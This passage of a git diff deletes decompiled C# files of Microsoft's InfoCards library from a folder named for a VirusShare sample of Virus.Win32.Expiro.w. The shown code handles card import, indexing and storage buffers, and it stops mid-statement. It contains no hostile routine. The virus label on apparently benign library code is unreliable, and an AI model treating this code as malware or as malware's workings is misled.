129cd7ae..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ImportFileRequest.cs +++ /dev/null @@ -1,102 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ImportFileRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class ImportFileRequest : UIAgentRequest - { - public ImportFileRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() - { - RoamingStoreFile context = this.ParentRequest.GetContext(); - if (context == null) - return; - if (context.Cards == null) - return; - try - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - connection.BeginTransaction(); - try - { - foreach (InfoCard card in (IEnumerable) context.Cards) - { - DataRow singleRow = connection.GetSingleRow(QueryDetails.FullRow, new List() - { - new QueryParameter("ix_objecttype", new object[1] - { - (object) 1 - }), - new QueryParameter("ix_globalid", new object[1] - { - (object) GlobalId.DeriveFrom(card.Id.ToString()) - }) - }.ToArray()); - if (singleRow != null) - { - using (MemoryStream memoryStream = new MemoryStream(singleRow.GetDataField())) - { - if (new InfoCard((Stream) memoryStream).LastUpdate < card.LastUpdate) - { - card.IsImported = true; - card.InstalledOn = DateTime.Now; - card.Save(connection); - } - } - } - else - { - card.IsImported = true; - card.InstalledOn = DateTime.Now; - card.Save(connection); - } - } - connection.CommitTransaction(); - AuditLog.AuditStoreImport(); - } - catch (Exception ex) - { - connection.RollbackTransaction(); - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportStoreException(SR.GetString("InvalidImportFile"), ex)); - throw; - } - } - finally - { - connection.Close(); - } - } - finally - { - context.Clear(); - } - } - - protected override void OnMarshalOutArgs() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ImportRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ImportRequest.cs deleted file mode 100644 index 2b0b586d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ImportRequest.cs +++ /dev/null @@ -1,91 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ImportRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class ImportRequest : ClientUIRequest - { - private FileStream m_importFile; - private string m_filename; - - public ImportRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - InfoCardUIAgent uiAgent, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, uiAgent, rpcHandle, inArgs, outArgs, InfoCardUIAgent.CallMode.Import, ExceptionList.AllNonFatal) - { - } - - public string ImportedFile => this.m_filename; - - protected override void OnMarshalInArgs() - { - string path = Utility.DeserializeString((BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode)); - if (string.IsNullOrEmpty(path) || path.Length > 259) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFileName"))); - if (!Path.IsPathRooted(path)) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFileName"))); - try - { - this.m_filename = path; - this.m_importFile = new FileStream(this.m_filename, FileMode.Open, FileAccess.Read, FileShare.Read); - } - catch (ArgumentException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("CannotOpenImportFile"), (Exception) ex)); - } - catch (IOException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("CannotOpenImportFile"), (Exception) ex)); - } - catch (NotSupportedException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("CannotOpenImportFile"), (Exception) ex)); - } - catch (UnauthorizedAccessException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("CannotOpenImportFile"), (Exception) ex)); - } - } - - protected override void OnProcess() => this.StartAndWaitForUIAgent(); - - protected override void OnMarshalOutArgs() - { - } - - protected override void OnDisposeAsUser() - { - base.OnDisposeAsUser(); - if (this.m_importFile == null) - return; - this.m_importFile.Dispose(); - this.m_importFile = (FileStream) null; - } - - protected override bool OnHandleException(Exception e, out int errorCode) - { - errorCode = 0; - bool flag = false; - if (e is UserCancelledException) - { - errorCode = (e as UserCancelledException).NativeHResult; - flag = true; - } - return flag; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ImportStoreException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ImportStoreException.cs deleted file mode 100644 index 87bb9545..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ImportStoreException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ImportStoreException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class ImportStoreException : InfoCardBaseException - { - private const int HRESULT = -1073413868; - - public ImportStoreException() - : base(-1073413868) - { - } - - public ImportStoreException(string message) - : base(-1073413868, message) - { - } - - public ImportStoreException(string message, Exception inner) - : base(-1073413868, message, inner) - { - } - - protected ImportStoreException(SerializationInfo si, StreamingContext sc) - : base(-1073413868, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/IndexObject.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/IndexObject.cs deleted file mode 100644 index 7915177d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/IndexObject.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.IndexObject -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; - -namespace Microsoft.InfoCards -{ - internal class IndexObject - { - private object[] m_objects; - private byte[] m_compiledForm; - - public IndexObject(object[] objects) => this.m_objects = objects; - - public IndexObject(byte[] compiledForm) => this.m_compiledForm = compiledForm; - - public bool IsCompiled => null != this.m_compiledForm; - - public bool CanCompile => null != this.m_objects; - - public byte[] CompiledForm => this.m_compiledForm; - - public object[] ObjectList => this.m_objects; - - internal void Compile(SecondaryIndexDefinition indexDef) - { - if (!this.CanCompile) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreIndexObjectCanNotBeCompiled"))); - byte[] destinationArray = new byte[60]; - int destinationIndex = 0; - for (int index = 0; index < this.m_objects.Length; ++index) - { - if (!indexDef.Canonicalizer.CanCanonicalize(this.m_objects[index])) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreIndexObjectCanNotBeCanonicalized", (object) this.m_objects[index].GetType()))); - byte[] sourceArray = indexDef.Canonicalizer.Canonicalize(this.m_objects[index]); - if (sourceArray.Length + destinationIndex > destinationArray.Length) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreIndexObjectBufferOverflow", (object) indexDef.Name))); - Array.Copy((Array) sourceArray, 0, (Array) destinationArray, destinationIndex, sourceArray.Length); - destinationIndex += sourceArray.Length; - } - this.m_compiledForm = destinationArray; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/IndexedDataBuffer.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/IndexedDataBuffer.cs deleted file mode 100644 index 95b2f0b1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/IndexedDataBuffer.cs +++ /dev/null @@ -1,336 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.IndexedDataBuffer -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - internal class IndexedDataBuffer - { - private byte[] m_buffer; - private byte[] m_masterIndex; - private FreeIndexList m_freeList; - private int m_dataLength; - private bool m_isOpen; - private DataSource m_owner; - - public unsafe IndexedDataBuffer( - byte[] masterIndex, - byte[] buffer, - int dataLength, - DataSource owner) - { - if (masterIndex == null || masterIndex.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (masterIndex), SR.GetString("StoreIndexedDataBufferNullOrEmptyMasterIndexBuffer")); - if (buffer == null || buffer.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (buffer), SR.GetString("StoreIndexedDataBufferNullOrEmptyDataIndexBuffer")); - if (dataLength < 0 || dataLength > buffer.Length) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (dataLength), (object) dataLength, SR.GetString("StoreIndexDataBufferDataLengthOutOfRange"))); - this.m_owner = owner; - this.m_masterIndex = masterIndex; - this.m_buffer = buffer; - this.m_dataLength = dataLength; - this.m_freeList = new FreeIndexList(20); - fixed (byte* numPtr = &this.m_masterIndex[0]) - { - for (int index = 1; index < this.m_masterIndex.Length / 4; ++index) - { - if (((int*) numPtr)[index] <= 0) - this.m_freeList.Put(index); - } - } - this.m_isOpen = true; - } - - public byte[] Index - { - get - { - this.ThrowIfNotOpen(); - return this.m_masterIndex; - } - } - - public byte[] Data - { - get - { - this.ThrowIfNotOpen(); - return this.m_buffer; - } - } - - public int DataLength - { - get - { - this.ThrowIfNotOpen(); - return this.m_dataLength; - } - } - - public void Close() - { - this.ThrowIfNotOpen(); - this.Clear(); - this.m_buffer = (byte[]) null; - this.m_masterIndex = (byte[]) null; - this.m_isOpen = false; - } - - public unsafe DataRow CreateDataRow(int id) - { - this.ThrowIfNotOpen(); - if (id > this.m_masterIndex.Length / 4 || this.m_freeList.Contains(id)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (id), (object) id, SR.GetString("StoreLocalIdOutOfRange"))); - fixed (byte* pHeader = &this.m_buffer[this.GetOffset(ref id)]) - return DataRow.Create((EncryptedObjectHeader*) pHeader, this.m_owner); - } - - public unsafe void CopyIVFromObject(int id, byte[] iv, int index) - { - this.ThrowIfNotOpen(); - if (iv == null || iv.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (iv)); - if (index < 0 || index > this.DataLength - iv.Length) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (index), (object) index, SR.GetString("StoreIndexDataBufferIndexOutOfRange"))); - if (id > this.m_masterIndex.Length / 4 || this.m_freeList.Contains(id)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (id), (object) id, SR.GetString("StoreLocalIdOutOfRange"))); - int offset = this.GetOffset(ref id); - InfoCardTrace.Assert(id >= 0, "Invalid ID was returned by GetOffset."); - fixed (byte* numPtr = &this.m_buffer[offset]) - Marshal.Copy(new IntPtr((void*) &((EncryptedObjectHeader*) numPtr)->IV), iv, 0, iv.Length); - } - - public Stream GetStreamForObjectData(int id) - { - this.ThrowIfNotOpen(); - if (id > this.m_masterIndex.Length / 4 || this.m_freeList.Contains(id)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (id), (object) id, SR.GetString("StoreLocalIdOutOfRange"))); - int offset = this.GetOffset(ref id); - InfoCardTrace.Assert(id >= 0, "Invalid ID was returned by GetOffset."); - int objectDataSize = this.GetObjectDataSize(offset); - InfoCardTrace.Assert(objectDataSize <= this.m_buffer.Length - offset, "The length the stored object is invalid"); - return (Stream) new MemoryStream(this.m_buffer, offset + sizeof (EncryptedObjectHeader), objectDataSize, false, false); - } - - public void RemoveObject(int id) - { - this.ThrowIfNotOpen(); - if (id > this.m_masterIndex.Length / 4 || this.m_freeList.Contains(id)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (id), (object) id, SR.GetString("StoreLocalIdOutOfRange"))); - int offset = this.GetOffset(ref id); - InfoCardTrace.Assert(id >= 0, "Invalid ID was returned by GetOffset."); - this.RemoveFromMasterIndex(id); - this.EnsureSpaceForData(offset, 0); - } - - public unsafe int WriteObject( - int id, - byte[] iv, - byte[] data, - int objectType, - long lastChange, - GlobalId globalId) - { - this.ThrowIfNotOpen(); - if (iv == null || iv.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (iv)); - if (data == null || data.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (iv)); - if (id > this.m_masterIndex.Length / 4) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (id), (object) id, SR.GetString("StoreLocalIdOutOfRange"))); - int offset = id <= 0 || !this.m_freeList.Contains(id) ? this.GetOffset(ref id) : throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (id), (object) id, SR.GetString("StoreLocalIdOutOfRange"))); - InfoCardTrace.Assert(id >= 0, "Invalid ID was returned by GetOffset."); - this.EnsureSpaceForData(offset, data.Length); - fixed (byte* numPtr1 = &this.m_buffer[offset]) - { - byte* numPtr2 = (byte*) ((EncryptedObjectHeader*) numPtr1 + 1); - ((EncryptedObjectHeader*) numPtr1)->LastChange = lastChange; - ((EncryptedObjectHeader*) numPtr1)->DataSize = data.Length; - ((EncryptedObjectHeader*) numPtr1)->ObjectType = objectType; - ((EncryptedObjectHeader*) numPtr1)->LocalId = id; - ((EncryptedObjectHeader*) numPtr1)->GlobalId = globalId; - InfoCardTrace.Assert(iv.Length <= 32, "IV Length is invalid"); - Marshal.Copy(iv, 0, new IntPtr((void*) &((EncryptedObjectHeader*) numPtr1)->IV), iv.Length); - Marshal.Copy(data, 0, new IntPtr((void*) numPtr2), data.Length); - } - return id; - } - - private unsafe int GetObjectDataSize(int offset) - { - fixed (byte* numPtr = &this.m_buffer[offset]) - return ((EncryptedObjectHeader*) numPtr)->DataSize; - } - - private void Clear() - { - Array.Clear((Array) this.m_buffer, 0, this.m_dataLength); - Array.Clear((Array) this.m_masterIndex, 0, this.m_masterIndex.Length); - this.m_dataLength = 0; - } - - private unsafe int EnsureSpaceForData(int offset, int dataSize) - { - InfoCardTrace.Assert((uint) offset <= (uint) this.m_dataLength, "offset specified is outside the range of the data buffer"); - InfoCardTrace.Assert(dataSize >= 0, "The requested data size must be greater than or equal to 0"); - int num1 = 0; - if (dataSize != 0) - num1 = dataSize + sizeof (EncryptedObjectHeader); - if (num1 % 8 != 0) - num1 += 8 - num1 % 8; - int num2; - if (offset == this.m_dataLength) - { - num2 = 0; - } - else - { - fixed (byte* numPtr = &this.m_buffer[offset]) - { - num2 = ((EncryptedObjectHeader*) numPtr)->DataSize + sizeof (EncryptedObjectHeader); - if (num2 % 8 != 0) - num2 += 8 - num2 % 8; - } - } - InfoCardTrace.Assert(num2 <= this.m_dataLength, "currentSize can not be more "); - if (num2 == num1) - return num1; - int num3 = offset + num2; - int diff = num1 - num2; - int num4 = num3 + diff; - if (diff > 0 && this.m_dataLength + diff >= this.m_buffer.Length) - this.GrowBuffer(this.m_dataLength + diff); - InfoCardTrace.Assert((uint) num3 <= (uint) this.m_buffer.Length && num3 >= offset, "NextIndex value is corrupt when attempting to ensure space for object"); - InfoCardTrace.Assert((uint) num4 <= (uint) this.m_buffer.Length, "NextNewIndex value is corrupt when attempting to ensure space for object"); - if (this.m_dataLength != num3) - { - InfoCardTrace.Assert(this.m_dataLength - num3 > 0, "NextIndex data is corrupt when attempting to ensure space for object in middle of content."); - Array.Copy((Array) this.m_buffer, num3, (Array) this.m_buffer, num4, this.m_dataLength - num3); - this.m_dataLength += diff; - InfoCardTrace.Assert(this.m_dataLength >= 0, "DataLength has been corrupted."); - if (diff < 0) - { - InfoCardTrace.Assert(this.m_dataLength <= this.m_buffer.Length, "DataLength is larger than allocated buffer."); - Array.Clear((Array) this.m_buffer, this.m_dataLength, Math.Abs(diff)); - } - this.UpdateMasterIndex(Math.Min(num3, num4), diff); - } - else - this.m_dataLength += diff; - InfoCardTrace.Assert(this.m_dataLength <= this.m_buffer.Length, "DataLength is larger than allocated buffer."); - return num1; - } - - private void GrowMasterIndex() - { - int num1 = this.m_masterIndex.Length / 4; - int increaseByPercent = Utility.CalculateIncreaseByPercent(this.m_masterIndex.Length, 4, 5); - InfoCardTrace.Assert(increaseByPercent > this.m_masterIndex.Length, "NewSize must be greater than old size to grow master index buffer"); - byte[] destinationArray = new byte[increaseByPercent]; - Array.Copy((Array) this.m_masterIndex, 0, (Array) destinationArray, 0, this.m_masterIndex.Length); - Array.Clear((Array) this.m_masterIndex, 0, this.m_masterIndex.Length); - this.m_masterIndex = destinationArray; - int num2 = this.m_masterIndex.Length / 4; - for (int index = num1 + 1; index < num2; ++index) - this.m_freeList.Put(index); - } - - private void GrowBuffer(int spaceRequired) - { - InfoCardTrace.Assert(spaceRequired >= this.m_buffer.Length, "RequireSpace must be greater than old size to grow data buffer"); - int num = spaceRequired; - int length = num + num / 20; - InfoCardTrace.Assert(length >= spaceRequired, "NewLength must be greater than required space to grow data buffer"); - byte[] destinationArray = new byte[length]; - Array.Copy((Array) this.m_buffer, 0, (Array) destinationArray, 0, this.m_buffer.Length); - Array.Clear((Array) this.m_buffer, 0, this.m_buffer.Length); - this.m_buffer = destinationArray; - InfoCardTrace.Assert(this.m_dataLength <= this.m_buffer.Length, "DataLength Corrupt or buffer growth failed."); - } - - private unsafe int GetOffset(ref int id) - { - if (id <= 0) - { - if (this.m_dataLength <= 0) - this.m_dataLength = 8; - int dataLength = this.m_dataLength; - id = this.GetNextLocalId(dataLength); - return dataLength; - } - fixed (byte* numPtr = &this.m_masterIndex[0]) - { - InfoCardTrace.Assert(((int*) numPtr)[id] >= 0, "Master Index offset value is invalid"); - return ((int*) numPtr)[id]; - } - } - - private unsafe void RemoveFromMasterIndex(int id) - { - InfoCardTrace.Assert(id > 0, "LocalId is invalid"); - fixed (byte* numPtr = &this.m_masterIndex[0]) - { - *(int*) (numPtr + ((IntPtr) id * 4).ToInt64()) = 0; - this.m_freeList.Put(id); - } - } - - private unsafe void UpdateMasterIndex(int offset, int diff) - { - InfoCardTrace.Assert(offset > 0, "Offset is invalid"); - InfoCardTrace.Assert(diff != 0, "Difference is invalid"); - int num = this.m_masterIndex.Length / 4; - fixed (byte* numPtr1 = &this.m_masterIndex[0]) - { - for (int index = 1; index < num; ++index) - { - InfoCardTrace.Assert((int*) numPtr1 + index - (int*) numPtr1 <= (long) this.m_masterIndex.Length, "Pointer has walked past the end of the allocated buffer."); - if (((int*) numPtr1)[index] > 0 && ((int*) numPtr1)[index] >= offset) - { - int* numPtr2 = (int*) numPtr1 + index; - *numPtr2 = *numPtr2 + diff; - } - } - } - } - - private unsafe int GetNextLocalId(int offset) - { - InfoCardTrace.Assert(offset >= 0, "The offset can not be negative."); - int next = this.m_freeList.GetNext(); - if (next > 0) - { - InfoCardTrace.Assert(null != this.m_masterIndex, "m_masterIndex must not be null by now"); - InfoCardTrace.Assert(this.m_masterIndex.Length > 0, "m_masterIndex must not be empty."); - fixed (byte* numPtr = &this.m_masterIndex[0]) - { - *(int*) (numPtr + ((IntPtr) next * 4).ToInt64()) = offset; - return next; - } - } - else - { - int nextLocalId = this.m_masterIndex.Length / 4; - this.GrowMasterIndex(); - InfoCardTrace.Assert(this.m_masterIndex.Length / 4 > nextLocalId && nextLocalId > 0, "Calculated count is corrupt or invalid."); - fixed (byte* numPtr = &this.m_masterIndex[0]) - *(int*) (numPtr + ((IntPtr) nextLocalId * 4).ToInt64()) = offset; - return nextLocalId; - } - } - - public void ThrowIfNotOpen() - { - if (!this.m_isOpen) - throw InfoCardTrace.ThrowHelperError((Exception) new ObjectDisposedException(nameof (IndexedDataBuffer))); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCard.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCard.cs deleted file mode 100644 index 696ea85a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCard.cs +++ /dev/null @@ -1,1387 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCard -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections; -using System.Collections.Generic; -using System.Globalization; -using System.IO; -using System.Security.Cryptography; -using System.ServiceModel; -using System.Text; -using System.Threading; -using System.Xml; -using System.Xml.Serialization; - -namespace Microsoft.InfoCards -{ - internal class InfoCard : IXmlSerializable - { - private const int InvalidRow = 0; - private const byte Marker = 29; - private const byte Version = 1; - public const int KeySize = 2048; - public const int MasterKeySize = 32; - public const int SaltSize = 16; - private InfoCardClaimCollection m_claims; - private DateTime m_expiresOn = DateTime.MaxValue; - private uint m_epoch; - private Uri m_id; - private DateTime m_issuedOn = DateTime.MinValue; - private bool m_isImported; - private DateTime m_installedOn = DateTime.Now; - private string m_issuerName = string.Empty; - private string m_language = string.Empty; - private LedgerEntryCollection m_ledger; - private byte[] m_logo; - private string m_mimeType = string.Empty; - private string m_name = string.Empty; - private DateTime m_lastUpdate = DateTime.MinValue; - private int m_rowId; - private StoreConnection m_storeConnection; - private int m_backgroundColor; - private string[] m_tokenTypes; - private RequireAppliesToStatus m_requireAppliesTo; - private byte[] m_pinHash; - private bool m_isSelfIssued; - private byte[] m_salt; - private InfoCardMasterKey m_masterKey; - private string m_privacyPolicyLink = string.Empty; - private byte[] m_issuerIdentifierAsBytes; - private Uri m_issuer; - private uint m_privacyPolicyVersion; - private string m_pin = string.Empty; - private string m_oldPin = string.Empty; - private InfoCard.PinAction m_pinAction; - private InfocardExtendedInformationCollection m_extendedInformation; - private bool m_readIssuerInformation; - private RPIdentityRequirement m_rpStrongIdentityRequired; - private List m_creationParameters; - - public InfoCard() => this.m_lastUpdate = DateTime.UtcNow; - - public InfoCard(Uri id) => this.m_id = id; - - public InfoCard(Stream stream) => this.Deserialize(stream); - - public string[] TokenTypes - { - set => this.m_tokenTypes = value; - } - - public List CreationParameters - { - get - { - if (this.m_creationParameters == null) - this.m_creationParameters = new List(); - return this.m_creationParameters; - } - } - - public InfoCardClaimCollection GetClaims() - { - if (this.m_claims == null) - { - if ((Uri) null == this.m_id) - InfoCardTrace.Assert((Uri) null != this.m_id, "m_id"); - this.m_claims = new InfoCardClaimCollection(this.m_id); - if (this.m_storeConnection != null) - this.m_claims.Get(this.m_storeConnection); - } - return this.m_claims; - } - - public static IssuerInformation GetIssuerInformation(string xml) - { - IssuerInformation issuerInformation = new IssuerInformation(); - if (!string.IsNullOrEmpty(xml)) - { - try - { - issuerInformation.ReadIssuerInformation(InfoCardSchemas.CreateReader(xml)); - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceUnableToDeserializeInfoCardStream"), ex)); - throw; - } - } - return issuerInformation; - } - - public InfocardExtendedInformationCollection GetExtendedInformation() - { - if (this.m_extendedInformation == null) - { - InfoCardTrace.Assert((Uri) null != this.m_id, "m_id"); - this.m_extendedInformation = new InfocardExtendedInformationCollection(this.m_id); - if (this.m_storeConnection != null) - this.m_extendedInformation.Get(this.m_storeConnection); - } - return this.m_extendedInformation; - } - - public RPIdentityRequirement GetRPIdentityRequirement() - { - if (this.m_rpStrongIdentityRequired == null) - { - this.m_rpStrongIdentityRequired = new RPIdentityRequirement(this.m_id, false); - if (this.m_storeConnection != null) - this.m_rpStrongIdentityRequired.Get(this.m_storeConnection); - } - return this.m_rpStrongIdentityRequired; - } - - public void AddClaim(InfoCardClaim claim) - { - InfoCardTrace.Assert(null != claim, "null claim"); - this.GetClaims().Add(claim); - } - - public void AddLedgerEntry(LedgerEntry entry) - { - InfoCardTrace.Assert(null != entry, "null ledger entry"); - this.GetLedger().Add(entry); - } - - public DateTime ExpiresOn - { - get => this.m_expiresOn; - set => this.m_expiresOn = value; - } - - public uint Epoch - { - get => this.m_epoch; - set => this.m_epoch = value; - } - - public Uri Id - { - get => this.m_id; - set => this.m_id = value; - } - - public DateTime IssuedOn - { - get => this.m_issuedOn; - set => this.m_issuedOn = value; - } - - public string IssuerName - { - get => this.m_issuerName; - set => this.m_issuerName = value; - } - - public byte[] IssuerIdentifierAsBytes - { - get => this.m_issuerIdentifierAsBytes; - set => this.m_issuerIdentifierAsBytes = value; - } - - public Uri Issuer - { - set => this.m_issuer = value; - } - - public string Language - { - get => this.m_language; - set => this.m_language = value; - } - - public RequireAppliesToStatus RequireAppliesto - { - get => this.m_requireAppliesTo; - set => this.m_requireAppliesTo = value; - } - - public bool IsSelfIssued - { - get => this.m_isSelfIssued; - set => this.m_isSelfIssued = value; - } - - public string PrivacyPolicyLink - { - get => this.m_privacyPolicyLink; - set => this.m_privacyPolicyLink = value; - } - - public uint PrivacyPolicyVersion => this.m_privacyPolicyVersion; - - public LedgerEntryCollection GetLedger() - { - if (this.m_ledger == null) - { - InfoCardTrace.Assert((Uri) null != this.m_id, "m_id is null"); - this.m_ledger = new LedgerEntryCollection(this.m_id); - if (this.m_storeConnection != null) - this.m_ledger.Get(this.m_storeConnection); - } - return this.m_ledger; - } - - public StoreConnection Connection - { - set => this.m_storeConnection = value; - } - - public LedgerEntry TryGetLedgerEntry( - StoreConnection connection, - string recipientIdentifier) - { - LedgerEntry ledgerEntry = (LedgerEntry) null; - InfoCardTrace.Assert(null != connection, "The store connection cannot be null."); - InfoCardTrace.Assert(!string.IsNullOrEmpty(recipientIdentifier), "A recipient identifier must be specified."); - if (this.m_ledger != null && this.m_ledger.ContainsKey(recipientIdentifier)) - ledgerEntry = this.m_ledger[recipientIdentifier]; - if (ledgerEntry == null) - { - DataRow singleRow = connection.GetSingleRow(new QueryParameter("ix_objecttype", new object[1] - { - (object) -1 - }), new QueryParameter("ix_parentid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_id.ToString()) - }), new QueryParameter("ix_name", new object[1] - { - (object) recipientIdentifier - })); - if (singleRow != null) - ledgerEntry = new LedgerEntry((Stream) new 